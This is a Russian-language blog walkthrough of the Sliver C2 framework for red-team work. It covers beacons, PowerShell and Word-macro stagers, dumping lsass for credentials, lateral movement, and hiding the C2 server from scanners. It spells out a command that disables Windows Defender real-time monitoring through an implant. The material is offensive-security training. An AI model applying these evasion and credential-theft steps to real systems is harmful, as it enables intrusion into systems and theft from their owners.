  <p id="meYw">C2 (Command&amp;Control) - это сервер, через который операторы могут управлять разными устройствами. Операторы могут посылать разные команды на эти устройства, создавать/удалять файлы и делать прочие действия. В целом, звучит довольно безобидно. Но обычно C2 используют специалисты по тестированию или злоумышленники - это более стабильная, удобная и незаметная альтернатива обычным реверс-шеллам. Чаще всего, когда говорят про C2, вспоминают <strong>Cobalt Strike</strong>. Но есть куда более близкая альтернатива которой на самом деле многие из нас уже пользовались - <strong>Metasploit</strong> (и <strong>meterpreter</strong>). В целом, от C2 обычно требуется следующее:</p>
  <ul id="pzdF">
    <li id="smbk">Управление агентами - загрузка и выгрузка файлов, запуск процессов и прочие операции</li>
    <li id="uPn5">Удаление/регистрация новых агентов. Обычно агенты выводятся графом, списком или табличкой. Оператор может выбрать нужного и дальше работать с ним</li>
    <li id="QCvV">(Опционально) Чтобы с агентами могли работать сразу несколько операторов</li>
    <li id="jZQh">(Опционально) Ведение логов операции для отчёта</li>
  </ul>
  <p id="cIq0"></p>
  <h2 id="dFUl">Чем выделяется <strong>sliver</strong>?</h2>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <blockquote id="YNkP"><strong>Sliver</strong> - это кросс-платформенный фреймворк для эмуляции кибер-угроз и красных команд с открытым исходным кодом, который может быть использован организациями любого размера для проведения тестирования безопасности. Импланты Sliver поддерживают C2 через Mutual TLS (mTLS), WireGuard, HTTP(S) и DNS и динамически компилируются с двоичными ключами асимметричного шифрования.<br />Сервер и клиент поддерживают MacOS, Windows и Linux. Импланты поддерживают MacOS, Windows и Linux.</blockquote>
  </section>
  <p id="ZSPK">Врочем, это вы могли прочитать из сами в описании <strong>sliver</strong> на гитхабе. Если раскладывать по фактам, то можно отметить следующее:</p>
  <ul id="Pmkj">
    <li id="YncM">Кросс-платформенные импланты - можно контроллировать как Windows, так и Linux (ещё в списке есть MacOS, но его я не проверял)</li>
    <li id="X5aV">Поддерживает много разных протоколов, некоторые из которых хорошо смешиваются с трафиком, например HTTP(s) и DNS</li>
    <li id="nC8a">Старается следовать OPSEC</li>
    <li id="0xVs">Бесплатный и Open Source</li>
  </ul>
  <p id="huDc"><a href="https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/edit#gid=0" target="_blank">C2Matrix</a> позволяет дополнить эту информацию:</p>
  <ul id="oZsg">
    <li id="Piba"><strong>Sliver</strong> использовался в реальных атаках</li>
    <li id="LsV8">Поддержка нескольких операторов - можно использовать вместе с другими людьми</li>
    <li id="E1fv">Поддерживает расширение через BOF (Beacon Object File). Значит можно будет использовать расширения (BOF) для Cobalt Strike</li>
    <li id="w13Z">Implant, сервер и клиент написаны на Golang - то есть пейлоады будут большими по размеру</li>
    <li id="r50e">Активно обновляется, версия v1.6.0 уже давно в бете, намечается много полезного функционала</li>
    <li id="2b1D">Нет GUI</li>
  </ul>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <blockquote id="uYs3">Про OPSEC:<br />Когда вы играете за красную команду (или пентестите), то вашими &quot;противниками&quot; выступают СЗИ и SOC компании. Для того, чтобы защитить вашу инфраструктуру от них (а ещё от не-особо-этичных-хакеров) и не спалиться существует OPSEC. В контексте использования C2, OPSEC часто воспринимают как процедуры и рекомендации, которые помогут не насолить себе. Например, &quot;не заливать mimikatz.exe на хост&quot;. <br />Кроме защиты от защитников, данные клиента нужно ещё защитить от реальных злоумышленников. Если ваш крякнутый кобальт сольёт весь &quot;лут&quot; или передаст управление имплантами третьим лицам и в результате этого произойдёт инцидент...</blockquote>
  </section>
  <h2 id="PWg6">Установка</h2>
  <p id="oC1f">Скачать и поставить <strong>sliver</strong> можно одной строчкой (которую я скопировал прямо из доков):</p>
  <pre id="KKYT" data-lang="bash">curl https://sliver.sh/install|sudo bash</pre>
  <p id="TKjN">Но хотелось бы напомнить про безопасность (ИБ, всё же). Лучше вначале загрузить этот шелл скрипт в файл, а потом запустить руками. А перед запуском можно спокойно посмотреть, что он там такого делает:</p>
  <pre id="rSLL" data-lang="bash">curl https://sliver.sh/install &gt; sliver-installer.sh
vim sliver-installer.sh
sh ./sliver-installer.sh</pre>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <blockquote id="iNct">Инсталлятор сливера ставит одновременно и сервер и клиента. Возможно вам не нужен сервер - тогда можно просто скачать клиента из релизов на гитхабе: <a href="https://github.com/BishopFox/sliver/releases" target="_blank">https://github.com/BishopFox/sliver/releases</a></blockquote>
  </section>
  <h2 id="Ngge">Создаём listener и beacon</h2>
  <p id="wmwa">Запустим сервис <strong>sliver</strong> (который отвечает за серверную часть и позволит другим операторам подключаться) и запустим клиента <strong>sliver</strong>:</p>
  <figure id="Q3dH" class="m_original">
    <img src="https://img1.teletype.in/files/01/ee/01ee91cf-e770-422f-979b-3710a12976a1.png" width="1101" />
    <figcaption>Красивый ASCII баннер сливера. У него их, кстати, несколько.</figcaption>
  </figure>
  <p id="7mWp">Для того чтобы отдавать команды агентам и получать от них результат выполнения, нужно запустить &quot;listener&quot;. Listener слушает определённый порт и ожидает подключения по одному из доступных протоколов. Я буду использовать протокол <strong>mtls</strong> на порту по умолчанию для этого протокола (8888):</p>
  <figure id="QGm6" class="m_original">
    <img src="https://img2.teletype.in/files/97/cf/97cf1aca-7606-48ef-a474-5a6b91b33c7a.png" width="729" />
    <figcaption>Список всех листенеров можно посмотреть через &quot;jobs&quot;</figcaption>
  </figure>
  <figure id="7yDF" class="m_original">
    <img src="https://img2.teletype.in/files/9c/28/9c28067a-233e-46b8-9dc0-f088a60cb202.png" width="1915" />
    <figcaption>А в firefox сижу я и пишу эту заметку :)</figcaption>
  </figure>
  <p id="KY7I">Теперь сгенерируем пейлоад. Мы будем использовать &quot;beacon&quot; - такой пейлоад менее заметен. Beacon будет стучаться на сервер с определённым интервалом - поэтому не ожидайте от него такой же отзывчивости как от reverse-shell:</p>
  <figure id="gKK7" class="m_original">
    <img src="https://img2.teletype.in/files/10/45/10455822-bece-415e-90f7-cc5afcf824b8.png" width="956" />
    <figcaption>Кстати, по умолчанию интервал отстука равен минуте + jitter в 30 секунд. У генерации бикона есть куда больше параметров, но их вы можете посмотреть сами :)</figcaption>
  </figure>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <blockquote id="tUSm">Кроме &quot;beacon&quot; в <strong>sliver</strong> есть вид пейлоада &quot;session&quot;. Такой пейлоад реагирует на команды без задержки, поэтому с ним удобнее работать. Но в результате генерируется большое количество сетевого трафика и нас будет легче обнаружить<br /><br />Обычный &quot;beacon&quot; можно заставить создать нам сессию. Для этого используется команда <code>interactive</code></blockquote>
  </section>
  <p id="qYYy">Закинем пейлоад на тестовый стенд и посмотрим результат:</p>
  <figure id="dwzG" class="m_original">
    <img src="https://img1.teletype.in/files/8e/3c/8e3c2c4e-084f-4f24-a758-d15165a359b7.png" width="1652" />
  </figure>
  <h2 id="xsXu">Управление имплантом</h2>
  <p id="P0XT">Немного поиграем с базовыми возможностями импланта. Сперва нужно выбрать имплант с которым мы будем взаимодействовать.</p>
  <p id="aKEj">Посмотрим их список:</p>
  <figure id="TliO" class="m_original">
    <img src="https://img4.teletype.in/files/72/1f/721fdcd1-d4ec-4ca6-bf11-645f301618bd.png" width="1630" />
  </figure>
  <p id="m7uo">Выберем нужный:</p>
  <figure id="VWkm" class="m_original">
    <img src="https://img1.teletype.in/files/4f/9a/4f9a7ed7-e4c8-4459-a3a0-40b3582a8132.png" width="1100" />
  </figure>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <blockquote id="M78l">Можно не писать полный uuid импланта, только начало. Но если у вас будет два uuid которые начинаются одинаково, sliver выберет первый из них и не предупредит - поэтому тут нужно быть внимательным</blockquote>
  </section>
  <p id="xM6u">Посмотрим информацию о привилегиях процесса:</p>
  <figure id="Vrq4" class="m_original">
    <img src="https://img1.teletype.in/files/8b/d5/8bd5072c-94b4-4acb-818a-79b1daea2b2a.png" width="1275" />
  </figure>
  <p id="ZaE2">Сейчас beacon долго отвечает, поэтому я изменю его настройки и сделаю интервал отстука в 10 секунд, а jitter в 0:</p>
  <figure id="pTQl" class="m_original">
    <img src="https://img2.teletype.in/files/d3/49/d349dcc4-0890-44b6-9e77-96569ee4d202.png" width="846" />
  </figure>
  <p id="ysvb">Скачаем файл:</p>
  <figure id="yags" class="m_original">
    <img src="https://img2.teletype.in/files/52/68/5268f2a3-6512-413c-88e1-1c3569eb6440.png" width="1395" />
  </figure>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <blockquote id="cLki">Тут стоит заметить несколько особенностей скачивания:<br />1. Если указывать путь через обратный слеш, их надо писать два, для экранирования<br />2. Если файл указан через обратный слеш, то имя скачанного файла будет содержать полный путь<br />3. Можно скачивать используя пути как в Linux (кстати, cmd.exe и powershell.exe тоже поддерживают такую запись). В таком случае регистр папок и файлов не будет иметь значения.</blockquote>
  </section>
  <p id="7HVD">Загрузим файл:</p>
  <figure id="aqHl" class="m_original">
    <img src="https://img2.teletype.in/files/97/6f/976fd51b-a3ad-40d9-929d-1281d373f99f.png" width="1018" />
  </figure>
  <p id="Xudl">Запустим процесс:</p>
  <figure id="ZNbQ" class="m_original">
    <img src="https://img3.teletype.in/files/e6/cf/e6cff42d-cd80-4249-b822-2212371d9e3f.png" width="1234" />
  </figure>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <blockquote id="UCyQ">Если нужно получить stdout от процесса, то нужно указать флаг <code>-o</code>. Кроме того, у процессов есть таймаут на выполнение, если запускать их с флагом <code>-o</code>. Если файл работает долго (LaZagne, seatbelt, winPEAS), лучше заранее выставить большой таймаут.</blockquote>
  </section>
  <p id="u8bn">Результат выполнения предыдущих задач можно посмотреть ещё раз (работает только в beacon):</p>
  <figure id="wS3U" class="m_original">
    <img src="https://img2.teletype.in/files/1b/b8/1bb87972-ace4-4265-9872-37c14419cbff.png" width="1773" />
  </figure>
  <figure id="B19M" class="m_original">
    <img src="https://img4.teletype.in/files/33/ca/33caaa47-85bb-4bef-9142-cd25bd67160a.png" width="1410" />
  </figure>
  <p id="eU8y">В целом, весь нужный функционал работает без проблем</p>
  <h2 id="A52P">Стейджеры</h2>
  <p id="DwjB">Пейлоады sliver достаточно объёмные - могут достигать 15Мб. Кроме того, загрузка пейлоада напрямую чревата дектектом от AV. В таких случаях лучше использовать стейджеры.</p>
  <p id="7vKo">Стейджер это небольшой код, который загружает с сервера полный пейлоад и исполняет его в памяти. В результате - минимальный след не диске, а за счёт простоты стейджера, его намного легче обфусцировать (или вообще написать самому).</p>
  <figure id="E6uL" class="m_original">
    <img src="https://img3.teletype.in/files/62/fb/62fbbda0-2a9c-4bee-a334-818a2cc10cde.png" width="957" />
  </figure>
  <p id="OQls">Стейджеры намного проще встраивать в различные типы файлов, например в &quot;.doc&quot; или &quot;.hta&quot;.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <blockquote id="WUVX">Это не значит что полноценный пейлоад в .doc положить не получится. Но документ станет большого размера и его будет легче обнаружить.</blockquote>
  </section>
  <p id="wutH">Перед тем как использовать стейджер, надо сгенерировать пейлоад который он будет отдавать. Пейлоад должен быть в формате шелкода и мы должны сохранить его особым образом - в профиль. Делается это следующим образом:</p>
  <figure id="UAd4" class="m_original">
    <img src="https://img4.teletype.in/files/71/c5/71c50e5d-f16f-46f6-92ee-b635806509c1.png" width="1667" />
  </figure>
  <p id="PWf7">Теперь запустим листенер стейджера. Он будет отдавать пейлоад стейджеру:</p>
  <figure id="tUfC" class="m_original">
    <img src="https://img4.teletype.in/files/f0/8a/f08a9df5-f978-48aa-bb83-6f383d2fcff7.png" width="992" />
  </figure>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <blockquote id="it2c">Для этого указываем протокол (тут используется другой формат, не как в генерации пейлоада) и профиль который listener будет выдавать.</blockquote>
  </section>
  <p id="H0oP"></p>
  <p id="qLyy">Сгенерируем сам стейджер. Для примера, сделаем стейджер в PowerShell:</p>
  <figure id="nCVm" class="m_original">
    <img src="https://img2.teletype.in/files/5b/4a/5b4ace26-2a2b-48f8-977e-cb511ff67045.png" width="1172" />
  </figure>
  <p id="HjZh">Теперь нужно добавить немного кода чтобы запустить этот шеллкод. Я воспользуюсь приведённым <a href="https://ppn.snovvcrash.rocks/red-team/maldev/code-injection/shellcode-runners#using-add-type-and-c" target="_blank">тут</a>.</p>
  <p id="mTXN">Меняем шеллкод на наш:</p>
  <figure id="STsS" class="m_original">
    <img src="https://img1.teletype.in/files/06/c5/06c5dc87-ffa6-48b2-9bdc-07c521637012.png" width="1918" />
  </figure>
  <p id="tyGK">Проверяем работу:</p>
  <figure id="PXtW" class="m_original">
    <img src="https://img2.teletype.in/files/d0/34/d0341415-2992-4918-87f9-b1e8156d2d81.png" width="1737" />
  </figure>
  <h2 id="GrjQ">Создаём макрос Word</h2>
  <p id="Lp5W">Теперь к более частой задаче. Создадим макрос для Word и положим его в &quot;.doc&quot; документ. В целом, действия аналогичны тому, что мы делали с PowerShell.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <blockquote id="TTgm">Многие загрузчики шеллкода (например из <strong>Cobalt Strike</strong>) требуют 32 битный шеллкод. Поэтому в этом примере я генерирую 32-битные.</blockquote>
  </section>
  <p id="52Sv">Шаг с созданием профиля и запуском <code>stage-listener</code> я опущу - в целом то же самое, но для 32 битной архитектуры.</p>
  <p id="bNZT">Генерируем стейджер в VBA:</p>
  <figure id="v0GH" class="m_original">
    <img src="https://img4.teletype.in/files/70/2a/702ab91d-b2ff-4467-a5ff-c5326343aee4.png" width="1920" />
  </figure>
  <p id="kQud">Возьмём часть макроса от <strong>Cobalt Strike </strong>(или <strong>msfvenom</strong>, они аналогичны)и склеим их вместе:</p>
  <figure id="qnIm" class="m_original">
    <img src="https://img1.teletype.in/files/45/aa/45aacc51-f6a3-4783-aa56-b3e7e143cd4d.png" width="1280" />
  </figure>
  <p id="fh7P">Проверим наш документ:</p>
  <figure id="cIMP" class="m_original">
    <img src="https://img4.teletype.in/files/b0/93/b09350e6-439b-4fd6-8b2a-606d11be6140.png" width="1659" />
  </figure>
  <h2 id="EZ0L">Armory</h2>
  <p id="fTie">Sliver предоставляет различные возможности для расширения, и даже содержит свой &quot;пакетный&quot; менеджер. Через него можно поставить разные полезные инструменты, которые будут выполняться через пейлоад. Можно поставить сразу всё:</p>
  <pre id="Xv58" data-lang="bash">armory install all</pre>
  <p id="hpk5">Armory располагается на github, можно добавить свой пакет через issues:</p>
  <p id="hU6r"><a href="https://github.com/sliverarmory/armory" target="_blank">https://github.com/sliverarmory/armory</a></p>
  <h2 id="R7DD">Пост-эксплуатация</h2>
  <p id="7Udm">Рассмотрим возможности sliver для пост-эксплуатации:</p>
  <h3 id="OnzQ">Получение учётных данных</h3>
  <p id="gswf">Сам по себе <strong>sliver</strong> предоставляет не так много возможностей получить учётные данные. Одна из них - получить дамп процесса <code>lsass.exe</code> через procdump:</p>
  <p id="twKd">1. Получаем список активных процессов и находим lsass.exe</p>
  <figure id="9ZVV" class="m_original">
    <img src="https://img1.teletype.in/files/c6/ec/c6ec9bfc-3539-468d-9e53-1cf2d31c61a3.png" width="743" />
  </figure>
  <figure id="xxIz" class="m_original">
    <img src="https://img1.teletype.in/files/48/af/48afcea1-4c2c-47df-84af-f836f180c442.png" width="1081" />
  </figure>
  <p id="iEMQ">2. Создаём дамп lsass.exe - для незаметности лучше сохранить сразу себе, а не на подконтрольное устройство</p>
  <figure id="LqIb" class="m_original">
    <img src="https://img4.teletype.in/files/71/8e/718e9a30-c6cc-4f7a-a9f6-2a062da12aa9.png" width="911" />
  </figure>
  <p id="Dsn9">3. Используем pypykatz на своём хосте для анализа дампа <br /></p>
  <figure id="a3f4" class="m_original">
    <img src="https://img2.teletype.in/files/9d/65/9d657ada-eaa2-4f29-9e22-db99c22db9a9.png" width="1193" />
  </figure>
  <h3 id="zh1E">Перемещение между хостами</h3>
  <p id="emYo">Из встроенных - только psexec, при этом нельзя указать список IP, нельзя указать креды. Используется текущая сессия. Однако в armory есть sharpmapexec - <a href="https://github.com/cube0x0/SharpMapExec" target="_blank">https://github.com/cube0x0/SharpMapExec</a></p>
  <h3 id="Elfn">Tools of the Trade</h3>
  <p id="lh7R">Благодаря команде &#x60;execute-assembly&#x60;, sliver способен запускать очень много полезных инструментов. Alias&#x27;ы из armory так и работают - об этом прямо заявляется в документации.</p>
  <p id="0mgb">Много полезных инструментов уже есть в armory и хорошо работают: <strong>rubeus</strong>, <strong>seatbelt</strong>. Часть (на данный момент) ещё не добавили: <strong>mimikatz</strong>, <strong>chisel.</strong></p>
  <p id="vr7C">И, конечно, можно просто загрузить что-то прямо на диск (что в большинстве не тренировочных сред будет съедено Windows Defender&#x27;ом):</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <blockquote id="UwQM">Кстати, анализ в реальном времени Windows Defender&#x27;а можно выключить:<br /><br /><code>execute -o powershell -c &#x27;Set-MpPreference -DisableRealtimeMonitoring $true&#x27;</code></blockquote>
  </section>
  <h2 id="gmgT">Хранилище лута</h2>
  <p id="JcFn">В sliver есть хранилище для лута - туда можно складывать пароли, API ключи, файлы. На мой взгляд, им не совсем удобно пользоваться - каждый пароль нужно запрашивать отдельно, нет варианта хэш. И самое главное - оно не пополняется автоматически, как это происходит в Cobalt Strike с hashdump/logonpasswords. Это неудобно когда работаешь с другими людьми, но в целом не слишком мешает.</p>
  <p id="LOJU">Так происходит добавление элемента в лут:</p>
  <figure id="vOxU" class="m_original">
    <img src="https://img4.teletype.in/files/79/0a/790acfc7-2f95-4194-9b0b-939949734bb8.png" width="1160" />
  </figure>
  <figure id="h3dt" class="m_original">
    <img src="https://img3.teletype.in/files/ea/04/ea045322-d672-4d33-a172-b22419a10cf4.png" width="1256" />
  </figure>
  <p id="C9fL">Получение:</p>
  <figure id="efHX" class="m_original">
    <img src="https://img4.teletype.in/files/bc/f0/bcf0c616-1b6f-4497-b119-719aeda00555.png" width="707" />
  </figure>
  <h2 id="Tfie">Добавим немного автоматизации: reactions</h2>
  <p id="rIf0">В sliver есть встроенный механизм автоматизации рутинных действий. К сожалению, пока что он достаточно сыроват, но уже может немного упростить работу.</p>
  <p id="mOCe">Он называется reactions. На данный момент триггеров для реакций не так много:</p>
  <figure id="bu6J" class="m_original">
    <img src="https://img1.teletype.in/files/8b/fc/8bfc4cc3-594d-470f-bd9e-03ae9fd8ebd2.png" width="1176" />
  </figure>
  <p id="wQMi">Добавляется реакция достаточно просто: указываем событие на которое хотим реагировать и список команд которые надо выполнить в этом случае:</p>
  <figure id="11l0" class="m_original">
    <img src="https://img3.teletype.in/files/29/90/2990c171-0743-454a-b14e-6e9147fcfa7a.png" width="1078" />
  </figure>
  <p id="n6f2">И снова проверим:</p>
  <figure id="5wT3" class="m_original">
    <img src="https://img2.teletype.in/files/d2/60/d260d1f9-bdbc-40a6-b8a2-2f40cb6597dc.png" width="1768" />
  </figure>
  <p id="ImQ2">У реакций на данный момент есть достаточно много огграничений:</p>
  <ul id="SSga">
    <li id="2cmV">Нет гибкого языка (циклы, ветвления)</li>
    <li id="VS6X">Нет событий для обработки beacon</li>
    <li id="Xkgl">Нет возможности подставлять параметры из переменных (логин и пароль из лута например)</li>
  </ul>
  <p id="7JN9">Однако это не значит что sliver сложно автоматизировать. На самом деле, как раз наоборот, sliver отлично подходит для создания своих скриптов! Для этого нужно использовать кастомный клиент. Возможно об этом я напишу в следующий раз, а пока вот скрин чтобы полюбоваться:</p>
  <figure id="bL4F" class="m_original">
    <img src="https://img4.teletype.in/files/f4/9a/f49ae673-ac20-4ef8-b066-006d55b5c5c9.png" width="1280" />
  </figure>
  <h2 id="iwFp">Мультиплеер</h2>
  <p id="PN0K">В <strong>sliver</strong> удобно добавлять новых операторов, но для этого нужно включить multiplayer. Если вы устанавливали <strong>sliver</strong> через one-liner (как в документации), то он у вас по умолчанию включен. </p>
  <p id="Ol3w">Сгенерируем конфиг для оператора:</p>
  <pre id="nDsW" data-lang="bash">sudo /root/sliver-server operator --name test -s /tmp/test.cfg --lhost 127.0.0.1</pre>
  <p id="hSdu">Теперь оператор сможет его импортировать и использовать:</p>
  <pre id="kjlb" data-lang="bash">sliver import /tmp/test.cfg</pre>
  <p id="SbYS"></p>
  <p id="HgeW">Однако <strong>sliver</strong> очень просто обнаруживается - по умолчанию висит на порту 31337. Используется SSL сертификат с достаточно узнаваемыми Issuer, Subject:</p>
  <figure id="qvQ2" class="m_original">
    <img src="https://img4.teletype.in/files/3d/4e/3d4e8c79-5511-4584-a4ab-5123e12b90bb.png" width="870" />
  </figure>
  <p id="hGNk">Такое легко находится даже через Shodan, так что сервер может легко попасть в TI feed или блэклист:</p>
  <figure id="0fYW" class="m_original">
    <img src="https://img1.teletype.in/files/43/af/43af2a66-2d3e-4757-8168-4c483a530454.png" width="1782" />
  </figure>
  <h2 id="r464">Прячем сервер</h2>
  <h3 id="FheK">Вариант 1 - SSH тунель</h3>
  <p id="oM4s">Простой и надёжный вариант - закрыть порт 31337 и дать возможность операторам подключаться через SSH тунель. Сервер с SSH вызывает куда меньше подозрений чем с открытым 31337 портом </p>
  <p id="2qeJ">Закрываем доступ к 31337 порту извне:</p>
  <pre id="BbSm" data-lang="bash">sudo iptables -I INPUT -p tcp --dport 31337 -j DROP
sudo iptables -I INPUT -s 127.0.0.1 -p tcp --dport 31337 -j ACCEPT</pre>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <blockquote id="BrqY">Не забывайте что iptables сбросится при перезагрузке. Правила нужно сохранить или вводить заново каждый раз</blockquote>
  </section>
  <p id="Vsa4"><br />Либо перевешиваем его на 127.0.0.1 через конфиг сервера. Если вы устанавливали sliver через one-liner, то этот конфиг будет в <code>/root/.sliver/configs/server.json</code>:</p>
  <figure id="4VbQ" class="m_original">
    <img src="https://img4.teletype.in/files/f1/cf/f1cff505-f6ef-4266-bdcc-2d233b6b8ab4.png" width="1141" />
  </figure>
  <p id="sAQ6">Теперь остаётся запустить ssh сервер и создать пользователя для туннеля:</p>
  <pre id="DvCy" data-lang="bash">systemctl start ssh
useradd sshtunnel -m -d /home/sshtunnel -s /bin/true</pre>
  <p id="490V">Теперь операторы могут прокинуть туннель:</p>
  <pre id="ZidJ" data-lang="bash">ssh -L 31337:127.0.0.1:31337 sshtunnel@ip</pre>
  <p id="2e0C"><br />Однако, в этом случае операторам нужно будет выставить lhost в 127.0.0.1 (в конфиге или при генерации):</p>
  <figure id="bN0C" class="m_original">
    <img src="https://img2.teletype.in/files/55/1d/551d1755-68a3-4ce9-959f-28cb33593972.png" width="1201" />
  </figure>
  <h3 id="RNXK">Вариант 2 - Меняем порт и сертификат</h3>
  <p id="DyuU">Другой вариант - изменить порт <strong>sliver</strong> и создать/сгенерировать более незаметный сертификат. Такой вариант хорош тем что операторам не придётся подключаться через SSH тунель.</p>
  <p id="gJw0">Сертификаты лежат в <code>/root/.sliver/crt</code>:</p>
  <figure id="DE7V" class="m_original">
    <img src="https://img2.teletype.in/files/d2/7f/d27fe18a-2abe-42fe-bd8b-f1a426e38ac9.png" width="979" />
  </figure>
  <p id="WFxE">Лучше сразу заменить сразу все сертификаты. Ключ должен использовать Elliptic Curves (EC) - <strong>sliver</strong> умеет читать только их.</p>
  <figure id="EM0s" class="m_original">
    <img src="https://img4.teletype.in/files/74/db/74db2c2f-4693-4994-beee-34cbddb49658.png" width="588" />
    <figcaption>Так что придётся генерить ключ и сертификат несколькими командами, а не как обычно</figcaption>
  </figure>
  <p id="GM85">Генерить такой ключ и сертификат можно так:</p>
  <pre id="8aCo" data-lang="bash">openssl ecparam -name prime256v1 -genkey -noout -out key.pem
openssl req -new -x509 -key key.pem -out cert.pem -days 365 -nodes</pre>
  <p id="I7RN">Теперь меняем порт:</p>
  <figure id="RkKG" class="m_original">
    <img src="https://img3.teletype.in/files/a6/f2/a6f2c52d-3c24-4af3-9cff-cc8497024378.png" width="1031" />
  </figure>
  <p id="9CZO">Перезагружаем сервис sliver (systemctl restart sliver) и смотрим на результат:</p>
  <figure id="Lbjc" class="m_original">
    <img src="https://img3.teletype.in/files/a2/85/a2853bb8-997e-4e44-b931-9ada5c32655b.png" width="947" />
  </figure>
  <p id="KpyG">Issuer &quot;operators&quot; пропал, но избавиться от строчки &quot;multiplayer&quot; сложнее. Для этого нужно пропатчить sliver, вот это место: <a href="https://github.com/BishopFox/sliver/blob/040863b75721d9a6c21d24bd0926d1d85c91ab7d/server/transport/mtls.go#L54" target="_blank">https://github.com/BishopFox/sliver/blob/040863b75721d9a6c21d24bd0926d1d85c91ab7d/server/transport/mtls.go#L54</a></p>
  <figure id="NYMR" class="m_original">
    <img src="https://img4.teletype.in/files/79/77/79777c07-7b99-42ae-9efa-7f9c68b15da9.png" width="829" />
  </figure>
  <p id="r8Ts">Для сборки sliver v1.5.42 нужен go v1.20.7, поставим его:</p>
  <pre id="kvP8" data-lang="bash">go install golang.org/dl/go1.20.7@latest
go1.20.7 download</pre>
  <p id="lDEX">Собственно весь патчинг:</p>
  <pre id="tNjN" data-lang="bash">git clone https://github.com/BishopFox/sliver/
cd sliver
git checkout v1.5.42
sed -i &#x27;s/&quot;multiplayer&quot;/&quot;Test Blog&quot;/g&#x27; server/transport/mtls.go
sed -i &#x27;s/= go$/= go1.20.7/g&#x27; Makefile
./go-assets.sh
make linux</pre>
  <p id="okO4">Результат:</p>
  <figure id="KDHA" class="m_original">
    <img src="https://img4.teletype.in/files/31/3c/313c7a67-30af-45c3-a739-7dbe10fe19d7.png" width="758" />
  </figure>
  <p id="jn4b">Кстати, довольно многие меняют порт, но забывают убрать SSL Subject &quot;multiplayer&quot; :)</p>
  <figure id="v9PV" class="m_original">
    <img src="https://img1.teletype.in/files/ce/5e/ce5e1000-3869-4e7c-8b7e-4bb5a43fe200.png" width="456" />
  </figure>
  <h2 id="Mq1z">Ныряем в исходники</h2>
  <p id="ho3j">Частая задача - обойти обнаружение пейлоада. Можно поиграть со стейджером и сделать его более незаметным - это надёжный вариант, про который достаточно много написано. Мы пойдём другим путём и изменим код самого агента :)</p>
  <p id="Kf0Z">За генерацию агента отвечает sliver/server/generate, а точнее - renderSliverGoCode()</p>
  <p id="48FH">Код самого агента лежит в implant. В коде используются шаблоны Go (tmpl), вида {{.SomeVariable}}</p>
  <p id="mi9J">В целом кода довольно много, в нашей обзорной статье просто изменим поведение функции регистрации - добавим домен к хостнейму (так будет удобнее искать нужный имплант), а также задержку в 10 секунд между получением хостнейма и пользователя.</p>
  <p id="tuXK">Я буду изменять файл <code>sliver/implant/sliver/sliver.go</code></p>
  <figure id="TL1B" class="m_original">
    <img src="https://img3.teletype.in/files/66/10/6610ff73-ce37-4f2b-83e8-a4950da84e32.png" width="1009" />
  </figure>
  <p id="NAik">Изменяем:</p>
  <figure id="cOls" class="m_original">
    <img src="https://img3.teletype.in/files/ef/84/ef848bd0-ac7a-426a-9029-7203055a8b28.png" width="1021" />
  </figure>
  <p id="v2ip">Зачем мы добавляем эту задержку? В целом, от EDR или антивируса такой трюк сейчас не спасёт, но при желании тут можно добавить различные проверки и вставки, проверить среду исполнения. Это так же может быть полезно чтобы ограничить скоуп - например запретить пейлоаду исполнятся на компьютерах которые не входят в определённый домен.</p>
  <p id="kUTx">После перекомпилирования и запуска пейлоада:</p>
  <figure id="n3NB" class="m_original">
    <img src="https://img3.teletype.in/files/28/e2/28e2e9e7-8e39-4530-a430-2eebb1ddc2c7.png" width="1734" />
  </figure>
  <h2 id="MoPr">Итоги</h2>
  <p id="uE5J">Sliver предоставляет стабильный базовый функционал и хорошие возможности для расширения и автоматизации. Для некоторых будет минусом отсутвие GUI, но лично меня больше расстроило отсутствие нормальных логов и возможностей для написания отчётов</p>
  <p id="plvi"></p>
  <p id="FJxR">Спасибо за внимание к заметке, буду рад вашим дополнениям :)</p>

]]></content:encoded></item></channel></rss>